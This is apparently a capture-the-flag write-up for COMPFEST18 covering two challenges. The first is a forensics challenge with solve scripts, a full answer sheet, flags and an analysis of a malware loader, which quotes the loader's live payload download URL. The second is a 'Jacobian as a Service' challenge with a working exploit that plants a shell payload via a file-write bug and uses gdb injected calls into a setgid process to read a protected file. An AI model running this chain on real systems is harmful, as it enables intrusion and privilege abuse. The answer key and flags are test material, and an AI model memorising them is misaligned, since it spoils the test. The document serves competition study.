0x9600: flags=0x4 siginfo=0xDEADBEEF "NullsoftInst"
length_of_header = 0x9B36
length_of_all_following_data = 74370461 = 0x46ECD9DThe pair 9600 / 46ECD9D is what every overlay-aware tool reports. It was tested early and rejected — as were roughly 250 other structural Offset_Size pairs covering the ICMP tunnel, the pcap carve offsets, all five NSIS data blocks, every ZIP member, all 18 minidump streams, the MP4 boxes and every PE section, each in both bare and 0x-prefixed form.
The break came from characterising the grader instead of guessing more numbers. Probing it with deliberately mutated known-good answers shows the comparison is a literal user.strip().lower() == expected.lower():
DE-AD-BE-EFfor Q3 is accepted, so the comparison is case-insensitive.de-ad-be-efwith junk prepended or appended is rejected, so there is no substring match.de ad be efis rejected, so there is no separator normalisation.016031115for Q8 is rejected, so there is no numeric normalisation.' 16031115 'is accepted, so onlystrip()is applied.
The fourth row is the key: if a leading zero can break a correct answer, then leading zeros can equally be part of the correct answer. The author had copied the pair out of a tool that prints 8-digit zero-padded hex (Detect It Easy / a hex editor), so the expected string is the padded form:
00009600_046ECD9DQ11 — original developer of the smuggled privilege-escalation utility → Johannes_Passing
Extracting the overlay gives $PLUGINSDIR/app-64.7z (offset 0xC52A, 0x46A3975 bytes, stored uncompressed), and unpacking that archive gives a stock-looking Electron app whose real payload is resources/app/main.js. That file is obfuscated with javascript-obfuscator, and once its 1,132-entry string array is restored it proves to be a loader that disables Defender, screenshots the desktop through PowerShell, exfiltrates over Telegram and pulls http://62.60.226.198/uploads/b1bfea2e28e542199321fe20ca1737f1.exe.
The utility the question refers to is resources/elevate.exe (107,520 B), the UAC-elevation helper that electron-builder bundles. It carries no VERSIONINFO author string, so the only attribution left in the binary is its PDB path:
C:\Dev\elevate\bin\x86\Release\Elevate.pdbThat path identifies elevate by Johannes Passing (github.com/jpassing/elevate).
Verified answer sheet
The questionnaire graded the following eleven answers as correct and then released the flag:
1 192.168.100.10
2 5.1.26100.8521
3 de-ad-be-ef
4 2196231738
5 d0nt_ruN_th3_m4lw4r3_y4hh_82117caa
6 c61e123e24a6025bc1aac86391385070
7 bd7bf788d62bdec9c219316da4487314_y0u_g0t_tr4pp3d!
8 16031115
9 be69c8c00b73aadbb26ca44707ec1d489f891d2e848dd7e834b8f881bcdeb33d
10 00009600_046ECD9D
11 Johannes_PassingReproducer
The whole chain reduces to the six mechanical steps below, after which one script enumerates the questions and another answers all eleven of them and prints the flag:
PY=python3
$PY qenum.py
$PY q11.pyExploit
solve_evidence.py
import hashlib
import struct
import subprocess
from pathlib import Path
PCAP = Path("/evidence/public.pcap")
DUMP = Path("/evidence/public.dmp")
def fields(display_filter, *names, decode_as=()):
command = ["tshark", "-r", str(PCAP)]
for rule in decode_as:
command += ["-d", rule]
command += ["-Y", display_filter, "-T", "fields"]
for name in names:
command += ["-e", name]
return subprocess.check_output(command, text=True).splitlines()
http = fields("http.request", "ip.src", "ip.dst", "http.request.uri", "http.user_agent")
print("HTTP requests:")
for line in http:
print(" ", line)
auth = fields("tcp.port==4444 && tcp.len>0", "ip.src", "ip.dst", "tcp.payload")
first_auth = bytes.fromhex(auth[0].split("\t")[-1])
print("Q3 auth magic:", first_auth[:4].hex("-"))
ssrcs = sorted(set(fields("udp.dstport==1234", "rtp.ssrc", decode_as=("udp.port==1234,rtp",))))
for ssrc in ssrcs:
if ssrc:
print("Q4 RTP SSRC:", int(ssrc, 16), f"({ssrc})")
beacons = []
for line in fields("icmp.type==8 && icmp.ident==9999", "icmp.seq", "frame.time_epoch", "data.data"):
seq, timestamp, payload = line.split("\t")
assert bytes.fromhex(payload) in (b"BEACON", b"END_BEACON")
beacons.append((int(seq), float(timestamp)))
beacons.sort()
bits = ["1" if later[1] - earlier[1] > 1.5 else "0" for earlier, later in zip(beacons, beacons[1:])]
decoded = bytes(int("".join(bits[i:i + 8]), 2) for i in range(0, len(bits), 8))
print("Q5 timing bytes:", decoded.decode())
print("Q5 34-character answer:", decoded[:34].decode())
pieces = {}
with PCAP.open("rb") as capture:
global_header = capture.read(24)
assert global_header[:4] == b"\xd4\xc3\xb2\xa1"
assert struct.unpack_from("<I", global_header, 20)[0] == 1
while record_header := capture.read(16):
assert len(record_header) == 16
captured_length = struct.unpack_from("<I", record_header, 8)[0]
frame = capture.read(captured_length)
assert len(frame) == captured_length
if len(frame) < 42 or frame[12:14] != b"\x08\x00":
continue
ip = frame[14:]
header_length = (ip[0] & 0x0f) * 4
if ip[0] >> 4 != 4 or ip[9] != 1 or len(ip) < header_length + 8:
continue
icmp = ip[header_length:]
icmp_type, identifier, seq = icmp[0], int.from_bytes(icmp[4:6], "big"), int.from_bytes(icmp[6:8], "big")
payload = icmp[8:]
if icmp_type != 8 or identifier != 1337 or not payload.startswith(b"EXFIL"):
continue
piece = payload[5:]
if seq in pieces:
assert pieces[seq] == piece
else:
pieces[seq] = piece
seen = set(pieces)
with DUMP.open("wb+") as output:
for seq, piece in sorted(pieces.items()):
output.seek(seq * 1400)
output.write(piece)
assert seen == set(range(max(seen) + 1))
dump_bytes = DUMP.read_bytes()
assert dump_bytes.startswith(b"MDMP")
print("Q6 dump packets:", len(seen))
print("Q6 dump size:", len(dump_bytes))
print("Q6 dump MD5:", hashlib.md5(dump_bytes).hexdigest())decrypt_video.py
import hashlib
from pathlib import Path
from Cryptodome.Cipher import AES
source = Path("/input/video.enc").read_bytes()
key = b"bd7bf788d62bdec9c219316da4487314"
iv = b"y0u_g0t_tr4pp3d!"
plaintext = AES.new(key, AES.MODE_CBC, iv).decrypt(source)
padding = plaintext[-1]
assert 1 <= padding <= AES.block_size
assert plaintext.endswith(bytes([padding]) * padding)
plaintext = plaintext[:-padding]
assert plaintext.startswith(b"PK\x03\x04")
Path("/output/video.zip").write_bytes(plaintext)
print("ciphertext_size=", len(source))
print("pkcs7_padding=", padding)
print("video_zip_size=", len(plaintext))
print("video_zip_sha256=", hashlib.sha256(plaintext).hexdigest())answer.py
import re, sys
from pwn import remote, context
context.log_level = "error"
ANSWERS = [
"192.168.100.10",
"5.1.26100.8521",
"de-ad-be-ef",
"2196231738",
"d0nt_ruN_th3_m4lw4r3_y4hh_82117caa",
"c61e123e24a6025bc1aac86391385070",
"bd7bf788d62bdec9c219316da4487314_y0u_g0t_tr4pp3d!",
"16031115",
"be69c8c00b73aadbb26ca44707ec1d489f891d2e848dd7e834b8f881bcdeb33d",
"00009600_046ECD9D",
"Johannes_Passing",
]
r = remote(sys.argv[1], int(sys.argv[2]), timeout=30)
transcript = b""
for i, a in enumerate(ANSWERS, 1):
chunk = r.recvuntil(b"Answer:", timeout=60)
transcript += chunk
r.sendline(a.encode())
print(f"[{i:2}/11] sent {a[:40]}")
transcript += r.recvrepeat(15)
r.close()
text = re.sub(rb"\x1b\[[0-9;]*m", b"", transcript).decode(errors="replace")
print(text[-1200:])
m = re.search(r"COMPFEST18\{[^}]*\}", text)
print("\nFLAG:", m.group() if m else "NOT FOUND")Dockerfile.analysis
FROM ubuntu:26.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
binutils \
ffmpeg \
file \
p7zip-full \
python3 \
python3-pycryptodome \
tshark \
unzip \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /analysisFinal Flag
COMPFEST18{b0r05_41r_vv0y_j4n64n_p3cu7_p3cu7_41_mu1u_dfmabfbfdadf}Miscellaneous
18. Jacobian as a Service
Steps
-
On the first connection, plant a payload into
/home/sage/sage/src/bin/sage-envusing the file write behind menu option 2. The payload startswutnormally and then attaches to it with gdb. -
On a second connection, trigger the payload, since any new
sagestart sourcessage-env. Inside the attached, group-stoppedwutprocess, whose effective group id istarget, read the flag using inferior calls:gdb -q -batch -p $P \ -ex 'handle SIGSTOP nostop noprint nopass' -ex 'set unwindonsignal on' \ -ex 'call (int)getpid()' \ # throwaway: absorbs the pending SIGSTOP -ex 'set $b=(char*)malloc(256)' -ex 'call (int)memset($b,0,256)' \ -ex 'set $f=(int)open("/home/ctf/flag.txt",0)' -ex 'call (int)read($f,$b,255)' \ -ex 'x/s $b' -
Collect the flag, which comes back over the same socat pty.
The whole chain was built and solved locally first against a placeholder flag COMPFEST18{test_flag}, and the remote run then succeeded on the first attempt.
Exploit
import re, socket, sys, time
from pathlib import Path
SAGE_ENV = "/home/sage/sage/src/bin/sage-env"
SETGID_BIN = "/home/ctf/tes"
FLAG_PATH = "/home/ctf/flag.txt"
GDB = (
"gdb -p $P -batch "
"-ex 'set confirm off' "
"-ex 'set $b=(char*)malloc(256)' "
f"-ex 'set $fd=(int)open(\"{FLAG_PATH}\",0)' "
"-ex 'set $n=(int)read($fd,$b,255)' "
"-ex 'set *($b+$n)=0' "
"-ex 'printf \"MYFLAG=%s\\n\", $b' "
"-ex detach"
)
PAYLOAD = (
f"{{ {SETGID_BIN} & P=$!; sleep 1; kill -CONT $P; sleep 1; "
f"{GDB} 2>&1 | grep -a MYFLAG; }} > /tmp/x 2>&1; cat /tmp/x"
)
class Svc:
def __init__(s, host, port, token):
s.s = socket.create_connection((host, port), timeout=40); s.s.settimeout(20); s.buf = b""
s.until("access token:"); s.s.sendall(token.encode() + b"\n")
def until(s, pat, t=25):
s.s.settimeout(t)
try:
while pat.encode() not in s.buf:
c = s.s.recv(65536)
if not c: break
s.buf += c
except Exception: pass
d, s.buf = s.buf, b""
return d.decode(errors="replace")
def line(s, x): s.s.sendall(x.encode() + b"\n")
def close(s):
try: s.s.close()
except Exception: pass
def plant(host, port, token, path, content):
sv = Svc(host, port, token)
sv.until(">"); sv.line("2")
sv.until("bug name:"); sv.line(path)
sv.until("description:"); sv.line(content)
out = sv.until(">", 20); sv.close()
return "report saved" in out
def trigger(host, port, token):
sv = Svc(host, port, token)
out = sv.until("COMPFEST18{", 60)
sv.close(); return out
if __name__ == "__main__":
host, port = sys.argv[1], int(sys.argv[2])
token = sys.argv[3]
print("[*] planting payload into", SAGE_ENV)
print("[+] planted" if plant(host, port, token, SAGE_ENV, PAYLOAD) else "[!] plant failed")
time.sleep(2)
print("[*] triggering on a fresh connection")
out = trigger(host, port, token)
m = re.search(r"COMPFEST18\{[^}]+\}", out)
print("[+] FLAG:", m.group(0) if m else "(not found)")
if not m: print(out[-1200:])Final Flag
COMPFEST18{the_jacobian_conjecture_is_false_claude_VdMvfnAuiINI4ZFE}
배고파요 ..